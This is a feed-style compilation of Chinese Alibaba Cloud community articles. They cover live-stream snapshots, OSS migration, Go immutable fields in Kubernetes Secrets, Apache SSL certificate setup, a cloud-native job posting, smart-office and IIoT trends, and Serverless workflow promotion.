    1、直播截图是针对于推流的AppName为粒度设置的,用户可以设置某个AppName下的所有StreamName的截图规则。并且AppName支持“*”通配符,表示该截图规则是针对于该直播域名下的所有推流均生效的,截图生效需要注意推流的AppName需要与配置的AppName匹配。

    2、与直播录制功能类似,截图功能也需要将截图结果存放在媒体Bucket中。因此,截图功能也需要开通OSS服务,并且在媒体Bucket中设置输入媒体Bucket。详情参见 媒体Bucket的增删改操作。

    3、配置截图功能时,ObjectName可以定义为覆盖和非覆盖两种类型,其中覆盖是按照截图频率每次新生成的截图将覆盖之前生成的截图文件,因此仅会得到一张截图文件;而不覆盖则是每次新产生的截图将不覆盖之前生成的截图文件,各截图文件使用{Sequence}区分,{Sequence}将通过1,2,……,n的方式表示。

    4、使用API/SDK配置截图配置是需要输入OSS的Endpoint,OSS的Endpoint为不包括Bucket名称的OSS访问地址,详情参见 OSS Endpoint设置,并且这里请不要加http://或者https://协议头。

    5、使用API/SDK配置截图时OverwriteOssObject参数和SequenceOssObject参数必须二者选一进行配置,暂时没有默认值设置。

    ]]>
    OSS 解决方案篇-OSS 数据迁移-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 功能描述

    ossutil :是命令行迁移的工具,配置简单,可以适用在本地域名迁移到 OSS 上,支持多线程以及超时重试功能。但支持场景少可以用在本地迁移、OSS 之前迁移,而且迁移日志不太友好,分析起来比较麻烦,没有详细的任务进度;

    ossimport :也是需要命令行进行配置,支持多个目录同时进行迁移,适合第三方云迁移到 OSS,本地数据迁移到 OSS、OSS 之前迁移。而且支持主备多机器同时迁移,增加迁移的带宽吞吐,可以有效的提高迁移效率。缺点是配置复杂,多个不同目录迁移时需要配置多个迁移文件;

    在线迁移服务:这种方式几乎兼容了以上的所有优先,还可以限制每天迁移高峰期的流量,但缺点是客户数据如果放在本地的 IDC 机房那就无法使用了,要用 ossutil 或者 ossimport ,本文主要介绍在线迁移的方式;

    在线迁移

    • 目前由于 OSS 数据迁移服务涉及到对目标的 OSS 要有很多 action 的 API 授权,为避免用户产生过多的学习成本,我们直接强制使用主账号进行迁移;
    • 该服务正在公测中,目前仍在免费使用阶段;服务使用需要提前工单申请账号 UID 加入白名单;

    在线迁移分类

    离线迁移:

    这里是指的闪电立方硬盘数据 copy 的方式迁移到 OSS;适合用在专有云,以及海量 PB 级别数据想要快速迁移的需求;

    image.png

    image.png

    在线迁移:

    包含了第三方存储迁移到 OSS 以及 ECS 数据迁移到 OSS,具体配置方法如下;

    1、创建数据地址,类似 ossimport job.cfg 的操作,配置迁移的数据源,以及目标 OSS bucket 相关配置;

    • 迁移数据用的 accesskeyID 要具有对应的权限,授予子账号存储空间读写权限(AliyunOSSFullAccess)和在线迁移管理权限(AliyunMGWFullAccess)
    • 数据地址要创建两个,一个源数据地址,一个目标数据地址;
      image.png

    image.png

    2、创建迁移任务
    image.png

    image.png

    3、任务类型说明

    • 全量迁移:上传所有的源文件到 OSS;
    • 增量迁移:上传前先 list 所有的源文件,比对哪些是已经上传过的,将不再重复上传;
    • 数据同步:这里注意下,当部署的是 OSS 之间迁移的任务时,可以在同区域进行数据同步操作,定期的同步源 bucket 数据到目标 bucket;
      同时还可以针对指定文件的时间进行数据迁移;

    image.png

    4、调优设置
    用户配置好迁移体量和文件大致数量后,可以根据设置自动计算分配的工作线程数,同时用户也可以灵活的按时间段限流,或者不限流;

    image.png

    5、使用注意
    在创建迁移任务后,OSS 会去源拉个别文件进行测试,如果恰好源文件含有非法命名的 object 就会导致整个任务失败,
    非法字符包含 "/ .. " 以及长度不能超过 1024字节;

    image.png

    在线迁移管理

    已经创建好的迁移任务,用户可以对其进行管理和监控;

    • 进入到管理界面后我们可以看到迁移任务的整体监控(流量,任务状态,迁移进展)
      image.png
    • 任务迁移过程中如果出现失败,用户可以进行重试;
      image.png
    • 任务迁移完成后,用户生成迁移报告,包含来整体的迁移实际数量,是否有报错,以及报错原因等信息;报告是保存在 OSS 上的;
      image.png

    FQA

    1、如果要使用迁移服务,子账号需要具备 OSS 管理权限 以及 MGW 的管理权限,授权地址
    服务开启方式
    https://mgw.console.aliyun.com/?spm=a2c4g.11186623.2.12.5bf6614cWHZzGe#/job?_k=6w2hbo

    2、跨域迁移的场景,需要提交功能单独申请,个人要提供内容合法性的生命。

    3、排查失败任务原因可以在控制台迁移任务内,生成对应任务报告

    4、迁移文件量大、文件多时,OSS 要对源文件进行 list 后才会启动迁移,在 list 过程中比较耗时,如果看到迁移进度 0 的情况正常,只要没有迁移失败用户不用担心;

    ]]>
    golang 的不可变(Immutable)编程 Fri, 02 May 2025 09:39:04 +0800 不可变编程是一种编程思想。简单地说,就是对象的属性只能set一次。

    ImmutableEphemeralVolume(immutable secret)

    kubernetes 最近(2019年年底)的一个 ImmutableEphemeralVolume 为例。

    我看了一下源代码,大意就是说,configmapsecret 在创建后不可更新。

    以 secret 为例,目前(2020-04-16)secret 的定义是这样的:

    
    // Secret holds secret data of a certain type. The total bytes of the values in
    // the Data field must be less than MaxSecretSize bytes.
    type Secret struct {
        metav1.TypeMeta `json:",inline"`
        // Standard object's metadata.
        // More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
        // +optional
        metav1.ObjectMeta `json:"metadata,omitempty" protobuf:"bytes,1,opt,name=metadata"`
    
        // Immutable, if set to true, ensures that data stored in the Secret cannot
        // be updated (only object metadata can be modified).
        // If not set to true, the field can be modified at any time.
        // Defaulted to nil.
        // This is an alpha field enabled by ImmutableEphemeralVolumes feature gate.
        // +optional
        Immutable *bool `json:"immutable,omitempty" protobuf:"varint,5,opt,name=immutable"`
    
        // Data contains the secret data. Each key must consist of alphanumeric
        // characters, '-', '_' or '.'. The serialized form of the secret data is a
        // base64 encoded string, representing the arbitrary (possibly non-string)
        // data value here. Described in https://tools.ietf.org/html/rfc4648#section-4
        // +optional
        Data map[string][]byte `json:"data,omitempty" protobuf:"bytes,2,rep,name=data"`
    
        // stringData allows specifying non-binary secret data in string form.
        // It is provided as a write-only convenience method.
        // All keys and values are merged into the data field on write, overwriting any existing values.
        // It is never output when reading from the API.
        // +k8s:conversion-gen=false
        // +optional
        StringData map[string]string `json:"stringData,omitempty" protobuf:"bytes,4,rep,name=stringData"`
    
        // Used to facilitate programmatic handling of secret data.
        // +optional
        Type SecretType `json:"type,omitempty" protobuf:"bytes,3,opt,name=type,casttype=SecretType"`
    }

    其实只看

    Immutable *bool `json:"immutable,omitempty"`

    就可以了。可以看到,这是一个 bool 的指针。因为这个字段目前处于alpha 的阶段,所以用了 omitempty 这个标签忽略掉了。

    判断是否已经注入

    Secret 有个 String 方法有点意思。

    简单地说就是通过反射判断字段是否已经注入。

    
    func (this *Secret) String() string {
        ......
        s := strings.Join([]string{`&Secret{`,
            `ObjectMeta:` + strings.Replace(strings.Replace(fmt.Sprintf("%v", this.ObjectMeta), "ObjectMeta", "v1.ObjectMeta", 1), `&`, ``, 1) + `,`,
            `Data:` + mapStringForData + `,`,
            `Type:` + fmt.Sprintf("%v", this.Type) + `,`,
            `StringData:` + mapStringForStringData + `,`,
            `Immutable:` + valueToStringGenerated(this.Immutable) + `,`,
            `}`,
        }, "")
        return s
    }
    

    valueToStringGenerated 方法展开是这样的:

    func valueToStringGenerated(v interface{}) string {
        rv := reflect.ValueOf(v)
        if rv.IsNil() {
            return "nil"
        }
        pv := reflect.Indirect(rv).Interface()
        return fmt.Sprintf("*%v", pv)
    }

    我简化了一下模型,写了个例子。

    例子

    package main
    
    import (
        "fmt"
        "reflect"
    )
    
    type Secret struct {
        Immutable *bool `json:"immutable,omitempty"`
    }
    
    func main() {
        s := Secret{Immutable: &[]bool{true}[0]}
        fmt.Println(valueToStringGenerated(s.Immutable)) // *true
        s = Secret{}
        fmt.Println(valueToStringGenerated(s.Immutable)) // nil
    }
    
    func valueToStringGenerated(v interface{}) string {
        rv := reflect.ValueOf(v)
        if rv.IsNil() {
            return "nil"
        }
        pv := reflect.Indirect(rv).Interface()
        return fmt.Sprintf("*%v", pv)
    }

    结论

    struct 增加一个字段,这个字段是一个指针。

    通过反射获取 struct 的成员(比如字段),进而判断是否已经注入。

    有些情况(比如string),用私有字段,struct 暴露一个单例模式的 Set 方法也行。我猜是 bool 类型比较特殊,所以 kubernetes 官方才用了 *bool 这个数据结构。

    参考链接

    1. Kubernetes: What is Immutable Infrastructure?
    2. Image volumes and container volume
    3. How to set bool pointer to true in struct literal?
    ]]>
    在 Apache 服务器上安装 SSL 证书 Fri, 02 May 2025 09:39:04 +0800 77.jpg
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    一、前提条件

    • 您的Apache服务器上已经开启了443端口(HTTPS服务的默认端口)。
    • 您的Apache服务器上已安装了mode_ssl.so模块(启用SSL功能)。
    • 本文档证书名称以domain name为示例,例如:证书文件名称为domain name_public.crt,证书链文件名称为domain name_chain.crt,证书密钥文件名称为domain name.key
    • 申请证书时如果未选择系统自动创建CSR,证书下载压缩包中将不包含.key文件。

    说明: .crt扩展名的证书文件采用Base64-encoded的PEM格式文本文件,可根据需要修改成.pem等扩展名。 证书格式详细内容,请参见主流数字证书都有哪些格式?

    二、操作步骤

    1、解压已下载保存到本地的Apache证书文件。解压后的文件夹中有3个文件:1.png
    证书文件:以.crt为后缀或文件类型。

    • 证书链文件:以.crt为后缀或文件类型。
    • 密钥文件:以.key为后缀或文件类型。

    2、在Apache安装目录中新建cert目录,并将解压的Apache证书、 证书链文件和密钥文件拷贝到cert目录中。如果需要安装多个证书,需在Apache目录中新建对应数量的cert目录,用于存放不同的证书 。**

    说明: 如果申请证书时选择了手动创建CSR文件,请将手动生成创建的密钥文件拷贝到cert目录中并命名为domain name.key。

    3、修改httpd.conf配置文件。

    • 在Apache安装目录下,打开Apache/conf/httpd.conf文件,并找到以下参数,按照下文中注释内容进行配置。
    #LoadModule ssl_module modules/mod_ssl.so  #删除行首的配置语句注释符号“#”加载mod_ssl.so模块启用SSL服务,Apache默认是不启用该模块的。
    #Include conf/extra/httpd-ssl.conf  #删除行首的配置语句注释符号“#”。

    说明: 如果您在httpd.conf文件中没有找到以上配置语句,请确认您的Apache服务器中是否已经安装mod_ssl.so模块。可执行yum install -y mod_ssl命令安装mode_ssl模块。

    • 保存httpd.conf文件并退出。

    4、修改httpd-ssl.conf配置文件。

    • 打开Apache/conf/extra/httpd-ssl.conf文件并找到以下参数,按照下文中注释内容进行配置。

    说明: 根据操作系统的不同,http-ssl.conf文件也可能存放在conf.d/ssl.conf目录中。

    <VirtualHost *:443>     
        ServerName   #修改为申请证书时绑定的域名www.YourDomainName1.com。                    
        DocumentRoot  /data/www/hbappserver/public          
        SSLEngine on   
        SSLProtocol all -SSLv2 -SSLv3 # 添加SSL协议支持协议,去掉不安全的协议。
        SSLCipherSuite HIGH:!RC4:!MD5:!aNULL:!eNULL:!NULL:!DH:!EDH:!EXP:+MEDIUM   # 修改加密套件。
        SSLHonorCipherOrder on
        SSLCertificateFile cert/domain name1_public.crt   # 将domain name1_public.crt替换成您证书文件名。
        SSLCertificateKeyFile cert/domain name1.key   # 将domain name1.key替换成您证书的密钥文件名。
        SSLCertificateChainFile cert/domain name1_chain.crt  # 将domain name1_chain.crt替换成您证书的密钥文件名;证书链开头如果有#字符,请删除。
    </VirtualHost>
    #如果证书包含多个域名,复制以上参数,并将ServerName替换成第二个域名。 
    <VirtualHost *:443>     
        ServerName   #修改为申请证书时绑定的第二个域名www.YourDomainName2.com。                    
        DocumentRoot  /data/www/hbappserver/public          
        SSLEngine on   
        SSLProtocol all -SSLv2 -SSLv3 # 添加SSL协议支持协议,去掉不安全的协议。
        SSLCipherSuite HIGH:!RC4:!MD5:!aNULL:!eNULL:!NULL:!DH:!EDH:!EXP:+MEDIUM   # 修改加密套件。
        SSLHonorCipherOrder on
        SSLCertificateFile cert/domain name2_public.crt   # 将domain name2替换成您申请证书时的第二个域名。
        SSLCertificateKeyFile cert/domain name2.key   # 将domain name2替换成您申请证书时的第二个域名。
        SSLCertificateChainFile cert/domain name2_chain.crt  # 将domain name2替换成您申请证书时的第二个域名;证书链开头如果有#字符,请删除。
    </VirtualHost>

    说明 :需注意您的浏览器版本是否支持SNI功能。如果不支持,多域名证书配置将无法生效。

    • 保存httpd-ssl.conf文件并退出。

    5、重启Apache服务器使SSL配置生效。在Apache的bin目录下执行以下命令:

    • 停止Apache服务。
    apachectl -k stop
    • 开启Apache服务。
    apachectl -k start

    6、可选: 修改httpd.conf文件,设置HTTP请求自动跳转HTTPS。在httpd.conf文件中的<VirtualHost *:80> </VirtualHost>中间,添加以下重定向代码。

    RewriteEngine on
    RewriteCond %{SERVER_PORT} !^443$
    RewriteRule ^(.*)$ https://%{SERVER_NAME}$1 [L,R]

    三、后续操作

    证书安装完成后,可通过登录证书绑定域名的方式验证证书是否安装成功。

    https://domain name   #domain name替换成证书绑定的域名。

    如果网页地址栏出现小锁标志,表示证书安装成功。

    • DV/OV SSL数字证书部署在服务器上后,用户浏览器访问网站时,展示如下:
    • EV SSL数字证书部署在服务器上后,用户浏览器访问网站时,展示如下:2.png

    验证证书是否安装成功时,如果网站无法通过https正常访问,需确认您安装证书的服务器443端口是否已开启或被其他工具拦截。

    阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

    ]]>
    阿里云智能事业群-云原生应用平台技术专家/架构师-深圳/杭州/北京 Fri, 02 May 2025 09:39:04 +0800 关于团队

    云原生应用平台致力于打造稳定、标准、先进的云原生平台,推动行业面向云原生技术升级与革命。在这里,你将与来自云计算、大数据领域的顶尖技术专家亲密合作,在全球独一无二的场景与规模中从事 Kubernetes、Service Mesh、Serverless、Open Application Model(OAM)等云原生生态核心基础技术的研发与落地工作。在标杆级的平台上,既服务阿里巴巴全球经济体,更服务全世界的开发者用户。

    部门介绍

    云原生应用平台基础技术中台团队致力于打造稳定、标准、先进的云原生应用系统平台,推动行业面向云原生技术升级与革命。在这里,既有 CNCF TOC 和 SIG 联席主席,也有 etcd 创始人、K8s Operator 创始人与Kubernetes 核心维护成员组成的、国内最顶尖的 Kubernetes 技术团队。在这里,你将同来自全球的云原生技术领域专家们(比如 Helm 项目的创始人、Istio 项目的创始人)密切合作,在独一无二的场景与规模中从事 Kubernetes、Service Mesh、Serverless、Open Application Model ( OAM )等云计算生态核心技术的研发与落地工作,在业界标杆级的平台上既赋能阿里巴巴全球经济体,更服务全世界的开发者用户。

    工作内容

    1. 以 Kubernetes 为核心,推动并打造下一代 "以应用为中心" 的基础技术体系;在阿里经济体场景中,研发和落地“以应用为中心”的基础设施架构和基于 Open Application Model ( OAM )的下一代 NoOps 体系,让 Kubernetes 与云原生技术栈发挥出真正的价值和能量。
    2. 研发多环境复杂应用交付核心技术;结合阿里与生态中的核心业务场景,打造多环境复杂应用交付的业界标准与核心依赖(对标 Google Cloud Anthos 和 Microsoft Azure Arc )云原生应用平台核心产品及后端架构设计与开发工作;在生态核心技术与前沿架构的加持下,在世界级云厂商的平台场景中,用技术打造持续的云产品生命力与竞争力。
    3. 持续推动阿里经济体应用平台架构演进,包括 Serverless 基础设施、标准云原生标准 PaaS 构建、新一代应用交付体系构建等核心技术工作。

    职位描述

    1. 本科及以上学历,计算机、数学、电子工程、通信等相关专业
    2. 对容器和基础设施相关领域的技术充满热情,有PaaS平台相关经验,在相关的领域如 Kubernetes、Serverless平台、容器技术、应用管理平台等有丰富的积累和实践经验(如产品落地,创新的技术实现,开源的突出贡献,领先的学术研究成果等)
    3. 优秀的表达能力,沟通能力,和团队协作能力;对技术和业务有前瞻性的思考,能够参与容器平台领域方向性的决策并推进落地
    4. 工作地点:杭州、北京 、深圳

    简历发送至

    lei.zhang@alibaba-inc.com

    ]]>
    智能办公室如何提高员工满意度 Fri, 02 May 2025 09:39:04 +0800 6.26.19-Working-Smarter-The-Intelligent-Office-1068x656_副本.jpg

    智能房屋、智能汽车和智能城市都将从预计今年将遍布全球的84亿台互联设备中受益。物联网(IoT)是一个不断发展的智能生活和互联设备生态系统,它们共同创造更好的功能、效率和最重要的体验。这也影响了我们在办公室的时间,盖洛普(Gallup)说,在办公室,我们每周最多花费47个小时。 物联网设备正在改变我们对办公室设计、员工体验以及创造最佳生产力和创造力的环境的思考方式。智能技术使办公室变得更加智能。

    智能产品和服务控制照明和温度,帮助我们找到安静的空间进行思考并强调与同事有效联系的方式。以下是我们在Flex上看到的智能产品和服务的趋势,Flex融合了形式和功能,优化了人们在办公室的体验,使他们在工作中成为最好、最有效率的自己。

    智能照明

    物联网照明设备可帮助创建使用照明的办公环境,以优化生产力甚至创造力。在智能软件的引导下,系统可以允许用户通过智能手机应用程序调暗和增亮灯光。当今更先进的系统在照明设备中使用传感器,以响应自然光线而变亮和变暗,全天不断优化环境。昼夜节律系统使用传感器使照明与一天中的时间同步,提供明亮,凉爽的灯光,以帮助团队在早上行动起来并在一天中逐渐变柔和。甚至可以使用智能照明来创建散射光,从而促进创造力。BI Intelligence的一份报告显示,物联网照明可以帮助削减成本。在一个示例中,智能LED照明的使用将能源成本降低了75%,而生产率提高了20%。

    环境温度控制

    智能技术正在使环境温度自动化。奥雅纳(Arup)由物联网驱动的办公桌使用传感器,使个人可以控制其周围环境的温度,这在当今大部分为开放式办公室的办公室中尤其重要。系统可以跟踪整个建筑物中的热信号,以确定它们是太热还是太凉,并且根据占用率检测和空气质量测量,它们可以调整HVAC设置。这不仅可以增强对单个员工的控制能力,还可以帮助我们更主动地管理能源成本,并为可持续发展计划做出贡献。

    实时地图Live Mapping

    实时地图技术使用信标和传感器的混合来帮助用户更有效地导航他们的办公室。需要知道哪个会议室可用,是否有浴室在使用,或者哪个空间最有可能产生解决复杂问题所需的安静时间?许多不同的技术有助于我们更好地理解空间是如何使用和占用的。这些数据有助于商业房地产专业人士优化租户体验,帮助普通员工无缝地度过一天,同时省去不必要的步骤。

    例如,Enlightened将传感器放入LED灯群中,并使用软件根据建筑平面图跟踪移动。用户可以收集能源使用数据,控制HVAC等等。物联网技术甚至可以帮助我们更好地管理协作和面对面的时间。Humanyze的徽章模块跟踪亲自参加的会议、管理层的可见性以及导致成功业务成果的声音和动作的音调(通过红外线)。

    人体工学与健康

    美国职业安全与健康管理局(OSHA)估计,雇主每周要支付近10亿美元用于治疗人体工程学不佳的问题。物联网设备正在改变企业设计办公环境以支持员工健康的方式。Stir Kinetic办公桌是一种混合式站立和坐姿办公桌,可通过触摸屏进行控制,并使用基于云的体系结构来存储个人资料和偏好。传感器监控每天有多少用户坐和站着,与他们共享该信息,并在需要移动时通过桌子位置略微移动来提供提醒。他们还正在构造带有传感器的智能椅子,以在员工的姿势不良时提醒他们,并提供改进建议。

    集成工作平台

    研究和市场预测,到2022年,物联网整合市场将达到每年220亿美元。通过集成的工作场所平台,组织和个人可以执行以下操作:

    1)全面了解每个员工的一天,从生物特征和压力水平到整个办公室的生产力和位置,提供可操作的见解和指导,以提高绩效。

    2)使用自动化系统来简化和优化任何办公室的环境,以实现最大的舒适度,生产率或其他目标。

    3)利用智能的,数据驱动的平台,帮助组织了解物理办公空间使用的所有方面,并指导从节省成本的策略到明智的体系结构和设计策略的决策。

    物联网的影响已经开始成熟,并在制造和工业运营等领域取得了显著成果,但我们正处于办公室智能产品发展的起点。创新的物联网工具正在帮助员工和企业就日常活动和长期运营做出更好的决策。对于产品创造者来说,这是一个机遇无限的市场,在这个市场中,初创企业和企业参与者才刚刚开始摸索一切。

    原文链接

    ]]>
    如何规划IIoT解决方案以实现长期可扩展性 Fri, 02 May 2025 09:39:04 +0800 6.20.19-How-to-Plan-Your-IIoT-Solution-for-Long-Term-Scalability-1068x656_副本.jpg

    尽管许多公司已采取第一步,将机器和传感器连接性添加到其操作中以实现数据可视化目的,但我们确实才真正开始涉足工业物联网(IIoT)功能的表面。

    IIoT的真正价值在于以新方式收集和应用数据。迅速步入正轨并成为专家的公司有机会拥有自己的细分市场。但是,IIoT的长期成功和可扩展性不仅仅是一个好主意。品牌必须转变其组织模型,不仅要开发IIoT产品,还必须提供内部支持以充分利用其功能,而这一挑战通常需要外部合作伙伴的帮助。

    为IIoT的未来做规划似乎并不明确,这可能令人望而却步。但是,那些早计划并采取小步骤的公司将发现自己走上了坚实的成功之路。

    物联网的未来可能性

    尽管公司可能很难想象,鉴于目前的行业状况,未来的IIoT解决方案可能看起来像面向消费者的物联网(Internet of Things,IoT),当设备在其周围交互时,人类充当被动参与者。例如,想象一下一个运输设施,它配备了从采购到包装,从标签到运输的每一个步骤,以及IIoT启用的传感器。过程中的每个设备都提供自己的车间诊断信息,包括每小时完成的订单、必要的维护和未充分利用的资源。

    这是一个非常长远的前景;理解如何有效地获取数据是IIoT中一个相当新的课题。然而,现在工业公司正在关注IIoT的潜力,该行业将在未来五年朝着这个未来取得重大进展。

    结合强大的数据科学和/或机器学习,从IIoT传感器生成的关于您的业务流程的数据中收集深刻的见解,IIoT的真正潜力将被释放。这是一场在汽车行业取得成功的联姻,机器人在危险环境中以比任何人类都快得多的速度执行任务。其他行业尚未接受机器人的广泛应用,这可能会给先驱者带来竞争优势。

    长期可扩展性规划以人为本

    在投资IIoT技术之前,无论是小规模的还是实验性的,公司都应奠定坚实的人员基础来支持这一工作。没有唯一正确的方法来召集IIoT支持人员,您的公司可能会受益于内部人才和外部雇员的混合来处理IIoT过渡。最重要的行动只是将具有适当专业知识的适当人员放在同一个房间内,以开始进行计划和解决问题。

    从新技术部署开始

    由于IIoT领域还很年轻,因此公司拥有令人兴奋的实验机会。但是,与任何新投资一样,我建议从传感器,软件和其他试用技术入手。 如果您的想法失败了,或者您需要在中途进行更改,那么您将投入较小的资金,并且更容易实现。

    在继续进行IIoT项目之前,公司的领导层和技术专家还必须回答另一个问题:您的投资将采取哪种形式? 选项包括:

    1)新的市场解决方案

    2)公司将更改和定制的现成解决方案

    3)您可以与客户充分利用的内部原型

    根据您的预算,时间安排和专业知识,每种方法各有利弊。值得信赖的外部合作伙伴可以帮助您完成此过程。

    如果您的公司配备了旧机器以与IIoT技术进行交互,则您还需要预算额外的连接性,包括以太网和可能的硬件,以补偿设备的老化。不要低估您的旧机器适应IIoT的能力。我知道一家将1927年的机器连接到其IoT平台的公司。但是,在将来的某个时候,现有的基础架构将无法跟上现代需求。

    更新您的技术基础架构

    服务器是任何IIoT项目的核心,并且在构建数字支持系统时必须首先考虑。在网络,蓝牙和WiFi需求因情况而异时,每个公司和每个IIoT项目都需要安全的大容量服务器。问自己以下问题:

    1)我们的数据在哪里捕获,以及如何转换? 数据必须以安全且相关方可以访问的方式存储,并且还必须以标准化方式进行格式化,以减少数据孤岛。

    2)存储设备的预期寿命是多少?万一发生故障,我们的备份计划是什么? IIoT数据的丢失可能具有毁灭性影响。

    看起来似乎违反直觉,请记住,您的公司和IIoT解决方案不必始终支持最新技术。 根据竞争分析,拥有可信赖的声誉和强大的市场地位更为重要。您始终可以在下一次迭代中解决新功能,但这必须基于您的长期目标。

    短期计划

    你的商业计划是另一个需要用心的领域。领导层和客户都很容易对IIoT的长期前景感到兴奋,但这些组织也可能有目前不现实的未来预期。与其为革命性的全服务IIoT解决方案设定空间时代标准,不如将精力集中在业务特定的问题上,这些问题会在日常运营中产生非常实际的差异。

    改变需要时间。许多公司希望在一到三年内获得投资回报。实际上,未来可能还有5到10年。对时间表要实事求是,合理设定期望。过多的承诺会导致压力,过度花钱完成不完美的产品,令客户失望或在最坏的情况下导致您的IIoT投资失败。

    尽管为公司的IIoT投资计划可扩展的未来可能会让人感到不知所措,但只要IIoT产品能够满足业务需求,它就永远不会过时。通过将IIoT纳入公司的长期目标和路线图,并支持对公司有意义的IIoT技术,您更有可能取得成功。


    原文链接 ]]>
    阿里云Serverless工作流正式商用,轻松拥有云上自动生产线 Fri, 02 May 2025 09:39:04 +0800 Serverless工作流来了!

    发布会传送门

    抢先了解Serverless技术干货

    4月,阿里云Serverless工作流正式商业化,这是一款用于协调多个分布式任务执行的全托管 Serverless 云服务。产品致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作,让用户聚焦业务逻辑开发。

    每家企业都会遇到工作流,诸如企业内部审批、采购订单、ETL、自动化运维等日常企业事务。而对于大数据AI、基因、音视频等行业,更离不开多媒体视频转码审核、大数据处理、机器学习流水线、基因测序工作流等任务。

    Serverless工作流,将流程逻辑与任务执行分开,支持不同架构、不同网络环境、不同语言编写的应用,提供全面的服务编排能力、完善的流程状态管理和可视化监控、运维全托管式省心服务。同时,将成本降低到20CU,支持异步方式的无限长时间调用,为广大企业用户提供了高容错、高可维护性和高观测性,解锁复杂和冗长,让用户聚焦业务逻辑的开发。

    据悉,著名无人驾驶企业图森未来,基于Serverless工作流产品实现了自动化的数据处理平台,结合使用消息服务打通云上云下数据,优化原有的本地任务流,高效管理任务的生命周期及数据共享。

    "Serverless 工作流是阿里云 Serverless 产品体系中的关键一环。" 阿里云 Serverless产品负责人杨皓然表示,“ 通过 Serverless 工作流,用户能够将函数计算、视觉智能平台等多个阿里云服务,或者自建的服务,以简单直观的方式编排为工作流,迅速构建弹性高可用的云原生应用。”
    01.png

    ]]>
    从图森未来的数据处理平台,看Serverless 工作流应用场景 Fri, 02 May 2025 09:39:04 +0800 Serverless工作流来了!

    发布会传送门

    抢先了解Serverless技术干货

    4月,阿里云Serverless工作流正式商业化,这是一款用于协调多个分布式任务执行的全托管 Serverless 云服务。产品致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作,让用户聚焦业务逻辑开发。

    精准打造云上自动生产线,Serverless工作流正式商用

    工作流是一种非常常见的场景,比如企业内部审批、采购订单、ETL等日常企业事务,或者大数据处理流水线,常规或定制化自动化运维等。此外,音视频行业的多媒体文件分片转码、格式转换、审核校验和人脸识别等长时任务,电商旅游行业的客户线上订单,AI行业的机器学习流水线, 生信行业的基因测序工作流。

    这些场景面临着以下难点:一般由众多异步分布式任务组成,控制逻辑和任务逻辑交织在一起,流程复杂冗长;分布式任务可能跨越公共云和本地机房,安全的打通网络代价很大;整个工作流执行完毕耗时过长,造成资源占用的浪费;涉及异步且关键业务流程,务必保证数据一致性;繁复的执行步骤如何进行可视化监控等等。

    Serverless工作流正式针对这些痛点,分离控制逻辑与任务逻辑,细化责任,便于管理和维护; 将流程以模版方式统一定义控制,简化编排,通过串联或并行等多种方式编排任务;支持函数,队列,云服务等多种任务类型,打通公共云和企业内网;支持最长1年的执行任务,但却采用Serverless计费模型, 按需付费;动态调用并发函数,保持状态和消息的持久化,信息不丢失且最终同步,提高容错性,自动处理异常;流程进度可视化,历史执行可追溯性等等。
    技术01.png

    助力图森未来,自动化数据处理平台, 让一切简单可靠

    图森未来是一家专注于L4级别无人驾驶卡车技术研发与应用的人工智能企业,面向全球提供可大规模商业化运营的无人驾驶卡车技术,为全球物流运输行业赋能。目前已完成D轮融资,估值超过10亿美元。无人驾驶技术研发依赖大量的路测试验数据积累,而高效进行路测、快速对路测数据进行处理来指导模型的更新迭代是这类场景的核心诉求。

    路测过程中会有大量数据产生,而对这些数据的处理流程则复杂多变,即使对于同一批数据,不同的业务小组也会有不同的使用及处理方式。如何有效管理不同的数据处理流程、降低人为介入频率能够大幅的提高生产效率。

    路测不定时运行的特点使得流程编排任务运行时间点、运行时长具有极大的不确定性,本地机房独自建立流程管理系统难以最大优化机器利用率,造成资源浪费。而图森未来本地已有许多单元化业务处理脚本及应用程序,但因为各种限制而无法全量的迁移上云,这也对如何合理化使用云上服务带来了挑战。

    另外,由于处理流程的步骤繁多,不同任务间的数据共享变得十分重要。任务之间在相互依赖的情况下,非常考验系统可靠性。因此,对于复杂流程的步骤间的状态及数据管理也是业务所面临的一项挑战。
    技术02.png
    针对上述情况,图森未来开始探索数据处理平台的自动化。阿里云 Serverless 工作流按执行调度的次数计费,具有易用易集成、运维简单等诸多优点,能够很好的解决上述场景中所遇到的问题,非常适合这类不定时运行的离线任务场景。Serverless 工作流还支持编排本地或自建机房的任务,图森未来通过使用 Serverless 工作流原生支持的消息服务MNS解决了云上云下的数据打通问题,使得本地的原有任务得到很好的编排及管理。

    除了调度外,Serverless 工作流也支持对任务的状态及执行过程中所产生的数据进行维护。图森未来通过使用任务的输入输出映射及状态汇报机制,高效的管理了流程中各任务的生命周期及相互间的数据传递。

    在未来,随着业务规模的扩大,图森未来将持续优化离线大数据处理流程的运行效率及自动化水平。通过各种探索,图森未来将进一步提升工程团队的效率,将更多的精力和资金投入到业务创新中去。

    Serverless工作流更多应用场景

    技术03.png
    各个公司会有如下的一些典型工作流场景。这里简单介绍三个典型应用:
    订单流程审批,可支持1年执行时长
    对于电商、旅行行业的订单,或者企业内部的日常各类申请, 从下发到生效都要经过多个环节,需要跨公司办公网络和公共云的多网络环境,途径多个环节的多步骤分布式,可能涉及人工介入,最终数据确保强一致性。目前Serverless工作流默认的支持最长 1 年的执行,以及并行触发 1 万个流程。

    技术04.png

    多媒体文件处理,降低失败率、提升吞吐量
    Serverless工作流同样适用多任务编排,比如多媒体文件如转码、截帧、人脸识别、语音识别、审核上传等各类处理。用户可以编排成一个完整的处理流程,通过函数计算提交媒体处理(IMM)任务(或自建处理器),产出一个符合业务需求的输出。各任务的执行错误异常可以被可靠的重试,大大提升多媒体任务处理吞吐量。
    对于视频点播、 视频转码等重度依赖算力的任务如果采用Serverless方式搭建,将函数计算和Serverless工作流组合使用,仅需3人天便可上线落地。

    技术05.jpeg

    自动化运维,流程进度可视化跟进
